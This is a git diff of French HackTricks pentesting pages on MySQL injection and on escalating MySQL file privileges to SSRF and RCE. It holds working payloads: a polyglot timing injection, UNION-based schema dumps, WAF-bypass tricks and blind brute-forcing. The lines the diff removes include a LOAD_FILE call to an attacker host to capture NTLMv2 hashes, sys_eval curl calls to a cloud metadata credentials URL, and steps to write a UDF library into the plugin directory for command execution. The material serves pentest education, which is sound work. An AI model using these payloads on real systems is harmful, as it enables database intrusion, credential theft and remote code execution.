* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus important en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
|
[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec pour **mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
@ -28,7 +28,7 @@
|
||||||
```
|
```
|
||||||
## Fonctions intéressantes
|
## Fonctions intéressantes
|
||||||
|
|
||||||
### Confirmation de Mysql:
|
### Confirmer Mysql:
|
||||||
```
|
```
|
||||||
concat('a','b')
|
concat('a','b')
|
||||||
database()
|
database()
|
||||||
|
@ -62,11 +62,11 @@ strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
|
||||||
```sql
|
```sql
|
||||||
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
||||||
```
|
```
|
||||||
à partir de [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
De [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||||||
|
|
||||||
## Flux
|
## Flux
|
||||||
|
|
||||||
Rappelez-vous que dans les versions "modernes" de **MySQL**, vous pouvez substituer "_**information\_schema.tables**_" par "_**mysql.innodb\_table\_stats**_**"** (Cela pourrait être utile pour contourner les WAF).
|
Rappelez-vous que dans les versions "modernes" de **MySQL**, vous pouvez substituer "_**information\_schema.tables**_" par "_**mysql.innodb\_table\_stats**_" (Cela pourrait être utile pour contourner les WAF).
|
||||||
```sql
|
```sql
|
||||||
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
||||||
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
||||||
|
@ -106,13 +106,7 @@ UniOn SeLect 1,2
|
||||||
UniOn SeLect 1,2,3
|
UniOn SeLect 1,2,3
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
## Basé sur l'Union MySQL
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
|
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
|
||||||
|
|
||||||
## MySQL Union Based
|
|
||||||
```sql
|
```sql
|
||||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
|
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
|
||||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
|
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
|
||||||
|
@ -125,65 +119,52 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||||
|
|
||||||
## Astuces de contournement de WAF
|
## Astuces de contournement de WAF
|
||||||
|
|
||||||
### Alternatives à information\_schema
|
### Alternatives à Information\_schema
|
||||||
|
|
||||||
Rappelez-vous que dans les versions "modernes" de **MySQL**, vous pouvez substituer _**information\_schema.tables**_ pour _**mysql.innodb\_table\_stats**_\*\* \*\* ou pour _**sys.x$schema\_flattened\_keys**_ ou pour **sys.schema\_table\_statistics**
|
N'oubliez pas que dans les versions "modernes" de **MySQL**, vous pouvez substituer _**information\_schema.tables**_ par _**mysql.innodb\_table\_stats**_ ou par _**sys.x$schema\_flattened\_keys**_ ou par **sys.schema\_table\_statistics**
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (154).png>)
|
### Injection MySQL sans VIRGULES
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (155).png>)
|
|
||||||
|
|
||||||
### Injection MySQL sans virgules
|
|
||||||
|
|
||||||
Sélectionnez 2 colonnes sans utiliser de virgule ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
Sélectionnez 2 colonnes sans utiliser de virgule ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||||
```
|
```
|
||||||
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
|
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
|
||||||
```
|
```
|
||||||
### Récupération de valeurs sans le nom de la colonne
|
### Récupération des valeurs sans le nom de la colonne
|
||||||
|
|
||||||
Si à un moment donné vous connaissez le nom de la table mais pas le nom des colonnes à l'intérieur de la table, vous pouvez essayer de trouver combien de colonnes il y a en exécutant quelque chose comme:
|
Si à un moment donné vous connaissez le nom de la table mais que vous ne connaissez pas le nom des colonnes à l'intérieur de la table, vous pouvez essayer de trouver combien de colonnes existent en exécutant quelque chose comme :
|
||||||
```bash
|
```bash
|
||||||
# When a True is returned, you have found the number of columns
|
# When a True is returned, you have found the number of columns
|
||||||
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
||||||
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
||||||
```
|
```
|
||||||
En supposant qu'il y ait 2 colonnes (la première étant l'ID) et l'autre le drapeau, vous pouvez essayer de forcer le contenu du drapeau en essayant caractère par caractère :
|
Supposons qu'il y ait 2 colonnes (la première étant l'ID) et l'autre le drapeau, vous pouvez essayer de forcer le contenu du drapeau en essayant caractère par caractère:
|
||||||
```bash
|
```bash
|
||||||
# When True, you found the correct char and can start ruteforcing the next position
|
# When True, you found the correct char and can start ruteforcing the next position
|
||||||
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
||||||
```
|
```
|
||||||
Plus d'informations sur [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
Plus d'informations sur [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||||||
|
|
||||||
### Histoire de MySQL
|
### Historique de MySQL
|
||||||
|
|
||||||
Vous pouvez voir d'autres exécutions à l'intérieur de MySQL en lisant la table : **sys.x$statement\_analysis**
|
Vous pouvez voir d'autres exécutions à l'intérieur de MySQL en lisant la table : **sys.x$statement\_analysis**
|
||||||
|
|
||||||
### Alternatives de version
|
### Versions alternatives
|
||||||
```
|
```
|
||||||
mysql> select @@innodb_version;
|
mysql> select @@innodb_version;
|
||||||
+------------------+
|
|
||||||
| @@innodb_version |
|
|
||||||
+------------------+
|
|
||||||
| 5.6.31 |
|
|
||||||
+------------------+
|
|
||||||
|
|
||||||
mysql> select @@version;
|
mysql> select @@version;
|
||||||
+-------------------------+
|
mysql> select version();
|
||||||
| @@version |
|
|
||||||
+-------------------------+
|
|
||||||
| 5.6.31-0ubuntu0.15.10.1 |
|
|
||||||
+-------------------------+
|
|
||||||
|
|
||||||
mysql> mysql> select version();
|
|
||||||
+-------------------------+
|
|
||||||
| version() |
|
|
||||||
+-------------------------+
|
|
||||||
| 5.6.31-0ubuntu0.15.10.1 |
|
|
||||||
+-------------------------+
|
|
||||||
```
|
```
|
||||||
|
## Autres guides d'injection MYSQL
|
||||||
|
|
||||||
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)]
|
||||||
|
|
||||||
|
## Références
|
||||||
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
|
[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
@ -191,10 +172,10 @@ mysql> mysql> select version();
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,82 +1,53 @@
|
||||||
# MySQL File priv à SSRF/RCE
|
# MySQL File priv to SSRF/RCE
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PRs aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### LOAD\_FILE/LOAD DATA/LOAD XML à SSRF
|
**Il s'agit d'un résumé des techniques MySQL/MariaDB/Percona provenant de [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
|
||||||
|
|
||||||
Chaque article sur l'exfiltration de données Out of Band SQL utilisera la fonction de chaîne `LOAD_FILE()` pour effectuer une requête réseau. La fonction elle-même a ses propres limitations basées sur le système d'exploitation sur lequel elle est exécutée et les paramètres avec lesquels la base de données a été démarrée.
|
### Demande de falsification côté serveur (SSRF) via les fonctions SQL
|
||||||
|
|
||||||
Par exemple, si la variable globale `secure_file_priv` n'était pas définie, [la valeur par défaut est définie sur `/var/lib/mysql-files/`](https://dev.mysql.com/doc/mysql-installation-excerpt/5.7/en/linux-installation-rpm.html), ce qui signifie que vous ne pouvez utiliser des fonctions comme `LOAD_FILE('nomdefichier')` ou `LOAD DATA [LOCAL] INFILE 'nomdefichier' INTO TABLE nomdetable` que pour lire des fichiers du répertoire `/var/lib/mysql-files/`. Pour pouvoir effectuer des lectures sur des fichiers en dehors de ce répertoire, l'option `secure_file_priv` doit être définie sur `""`, ce qui ne peut être fait qu'en mettant à jour le fichier de configuration de la base de données ou en passant le paramètre de démarrage `--secure_file_priv=""` au service de base de données.
|
Dans l'exploration de l'exfiltration de données hors bande SQL, la fonction `LOAD_FILE()` est couramment utilisée pour initier des requêtes réseau. Cependant, cette fonction est limitée par le système d'exploitation sur lequel elle opère et les configurations de démarrage de la base de données.
|
||||||
|
|
||||||
Néanmoins, dans les circonstances où `secure_file_priv` est défini sur `""`, nous devrions être capables de lire d'autres fichiers sur le système, en supposant que les permissions de lecture de fichiers et `file_priv` sont définis sur `Y` dans `mysql.user` pour l'utilisateur de la base de données actuelle. Cependant, la possibilité d'utiliser ces fonctions pour effectuer des appels réseau dépend beaucoup du système d'exploitation. Comme ces fonctions sont conçues uniquement pour lire des fichiers, les seuls appels réseau pertinents qui peuvent être effectués sont vers des chemins UNC sur des hôtes Windows, car [l'API Windows `CreateFileA` qui est appelée lors de l'accès à un fichier comprend les conventions de nommage UNC](https://docs.microsoft.com/en-gb/windows/win32/fileio/naming-a-file).
|
La variable globale `secure_file_priv`, si elle n'est pas définie, est par défaut `/var/lib/mysql-files/`, limitant l'accès aux fichiers à ce répertoire à moins d'être définie comme une chaîne vide (`""`). Ce réglage nécessite des modifications dans le fichier de configuration de la base de données ou les paramètres de démarrage.
|
||||||
|
|
||||||
Donc, si votre base de données cible fonctionne sur une machine Windows, la requête d'injection `x'; SELECT LOAD_FILE('\\\\attackerserver.example.com\\a.txt'); -- //` [résulterait en la machine Windows envoyant des hachages NTLMv2 dans une tentative d'authentification avec le serveur contrôlé par l'attaquant `\\attackerserver.example.com`](https://packetstormsecurity.com/files/140832/MySQL-OOB-Hacking.html).
|
Étant donné que `secure_file_priv` est désactivé (`""`), et en supposant que les autorisations de fichier et `file_priv` nécessaires sont accordées, les fichiers en dehors du répertoire désigné peuvent être lus. Cependant, la capacité de ces fonctions à effectuer des appels réseau dépend fortement du système d'exploitation. Sur les systèmes Windows, les appels réseau aux chemins UNC sont possibles en raison de la compréhension par le système d'exploitation des conventions de dénomination UNC, ce qui peut potentiellement conduire à l'exfiltration des hachages NTLMv2.
|
||||||
|
|
||||||
Cette falsification de requête côté serveur, bien qu'utile, est limitée au seul port TCP 445. Vous ne pouvez pas contrôler le numéro de port, mais pouvez lire des informations à partir de partages configurés avec des privilèges de lecture complets. De plus, comme cela a été démontré avec des recherches plus anciennes, vous pouvez utiliser cette capacité limitée de SSRF pour voler des hachages et les relayer pour obtenir des shells, donc c'est définitivement utile.
|
Cette méthode SSRF est limitée au port TCP 445 et ne permet pas la modification du numéro de port, bien qu'elle puisse être utilisée pour accéder à des partages avec des privilèges de lecture complets et, comme démontré dans des recherches antérieures, pour voler des hachages en vue d'une exploitation ultérieure.
|
||||||
|
|
||||||
### Fonctions Définies par l'Utilisateur pour RCE
|
### Exécution de code à distance (RCE) via les fonctions définies par l'utilisateur (UDF)
|
||||||
|
|
||||||
Une autre technique intéressante avec les bases de données MySQL est la capacité d'utiliser des Fonctions Définies par l'Utilisateur (UDF) présentes dans des fichiers de bibliothèques externes qui, si présents dans des emplacements spécifiques ou dans le $PATH du système, peuvent alors être accessibles depuis MySQL.
|
Les bases de données MySQL offrent l'utilisation de fonctions définies par l'utilisateur (UDF) à partir de fichiers de bibliothèque externes. Si ces bibliothèques sont accessibles dans des répertoires spécifiques ou dans le `$PATH` du système, elles peuvent être invoquées depuis MySQL.
|
||||||
|
|
||||||
Vous pourriez utiliser une Injection SQL pour **écrire une bibliothèque (`.so` ou `.dll`** selon que vous êtes sur Linux ou Windows), contenant une Fonction Définie par l'Utilisateur qui peut effectuer des requêtes réseau/HTTP, qui peut ensuite être invoquée par des requêtes supplémentaires.
|
Cette technique permet l'exécution de requêtes réseau/HTTP via une UDF, à condition que plusieurs conditions soient remplies, notamment l'accès en écriture au `@@plugin_dir`, `file_priv` défini sur `Y`, et `secure_file_priv` désactivé.
|
||||||
|
|
||||||
Cela a son propre ensemble de restrictions cependant. Selon la version de MySQL, que vous pouvez identifier avec `select @@version`, le répertoire d'où les plugins peuvent être chargés est restreint. MySQL en dessous de `v5.0.67` permettait de charger des fichiers de bibliothèque à partir du chemin système si la variable `plugin_dir` n'était pas définie. Cela a changé maintenant et les versions plus récentes ont la variable **`plugin_dir`** définie sur quelque chose comme `/usr/lib/mysql/plugin/`, qui est généralement possédé par root.
|
Par exemple, la bibliothèque `lib_mysqludf_sys` ou d'autres bibliothèques UDF permettant des requêtes HTTP peuvent être chargées pour effectuer une SSRF. Les bibliothèques doivent être transférées sur le serveur, ce qui peut être réalisé en encodant en hexadécimal ou en base64 le contenu de la bibliothèque, puis en l'écrivant dans le répertoire approprié.
|
||||||
|
|
||||||
En gros **pour que vous puissiez charger une bibliothèque personnalisée dans MySQL et appeler une fonction de la bibliothèque chargée via Injection SQL, vous auriez besoin** :
|
Le processus varie si le `@@plugin_dir` n'est pas inscriptible, en particulier pour les versions MySQL supérieures à `v5.0.67`. Dans de tels cas, des chemins alternatifs inscriptibles doivent être utilisés.
|
||||||
|
|
||||||
* de la capacité à **écrire à l'emplacement** spécifié dans **`@@plugin_dir`** via Injection SQL
|
L'automatisation de ces processus peut être facilitée par des outils tels que SQLMap, qui prend en charge l'injection UDF, et pour les injections SQL aveugles, la redirection de sortie ou les techniques de trafic de requêtes DNS peuvent être utilisées.
|
||||||
* **`file_priv`** défini sur **`Y`** dans `mysql.user` pour l'utilisateur de la base de données actuelle
|
|
||||||
* **`secure_file_priv`** défini sur **`""`** afin que vous puissiez lire les octets bruts de la bibliothèque à partir d'un emplacement arbitraire comme le réseau ou un répertoire de téléchargements de fichiers dans une application web.
|
|
||||||
|
|
||||||
En supposant que les conditions ci-dessus soient remplies, vous pouvez utiliser **l'approche classique de transférer la** [**bibliothèque UDF MySQL populaire `lib_mysqludf_sys`**](https://github.com/mysqludf/lib\_mysqludf\_sys) **au serveur de base de données**. Vous pourriez alors être capable de faire des requêtes de commandes du système d'exploitation comme `cURL` ou `powershell wget` pour effectuer du SSRF en utilisant la syntaxe
|
|
||||||
|
|
||||||
`x'; SELECT sys_eval('curl http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //`
|
|
||||||
|
|
||||||
Il y a beaucoup d'autres fonctions déclarées dans cette bibliothèque, une analyse de celles-ci peut être vue [ici](https://osandamalith.com/2018/02/11/mysql-udf-exploitation/). Si vous êtes paresseux comme moi, vous pouvez obtenir une copie de cette bibliothèque UDF, pour le système d'exploitation cible, à partir d'une installation metasploit depuis le répertoire `/usr/share/metasploit-framework/data/exploits/mysql/` et commencer.
|
|
||||||
|
|
||||||
Alternativement, des bibliothèques UDF ont été créées pour fournir spécifiquement à la base de données la capacité de faire des requêtes HTTP. Vous pouvez utiliser [MySQL User-defined function (UDF) pour HTTP GET/POST](https://github.com/y-ken/mysql-udf-http) pour que la base de données effectue des requêtes HTTP, en utilisant la syntaxe suivante
|
|
||||||
|
|
||||||
`x'; SELECT http_get('http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //`
|
|
||||||
|
|
||||||
Vous pourriez également [créer votre propre UDF et l'utiliser pour l'exploitation postérieure également.](https://pure.security/simple-mysql-backdoor-using-user-defined-functions/)
|
|
||||||
|
|
||||||
Dans tous les cas, vous devez transférer la bibliothèque au serveur de base de données. Vous pouvez le faire de plusieurs manières
|
|
||||||
|
|
||||||
1. Utilisez la fonction de chaîne MySQL `hex()` ou quelque chose comme `xxd -p filename.so | tr -d '\n'` pour convertir le contenu de la bibliothèque en format hexadécimal, puis le déverser dans le répertoire `@@plugin_dir` en utilisant `x'; SELECT unhex(0x1234abcd12abcdef1223.....) into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //`
|
|
||||||
2. Alternativement, convertissez le contenu de `filename.so` en base64 et utilisez `x';select from_base64("AAAABB....") into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //`
|
|
||||||
|
|
||||||
Si le `@@plugin_dir` n'est pas inscriptible, alors vous n'avez pas de chance si la version est supérieure à `v5.0.67`. Sinon, écrivez à un emplacement différent qui est dans le chemin et chargez la bibliothèque UDF à partir de là en utilisant
|
|
||||||
|
|
||||||
* pour la bibliothèque `lib_mysqludf_sys` - `x';create function sys_eval returns string soname 'lib_mysqludf_sys.so'; -- //`
|
|
||||||
* pour la bibliothèque `mysql-udf-http` - `x';create function http_get returns string soname 'mysql-udf-http.so'; -- //`
|
|
||||||
|
|
||||||
|
|
||||||
Pour automatiser cela, vous pouvez utiliser SQLMap qui prend en charge [l'utilisation de UDF personnalisés via l'option `--udf-inject`](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
|
||||||
|
|
||||||
Pour les Injections SQL Aveugles, vous pourriez rediriger la sortie des fonctions UDF vers une table temporaire, puis lire les données de là ou utiliser [une requête DNS introduite dans une commande `sys_eval` ou `sys_exec` curl](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration).
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
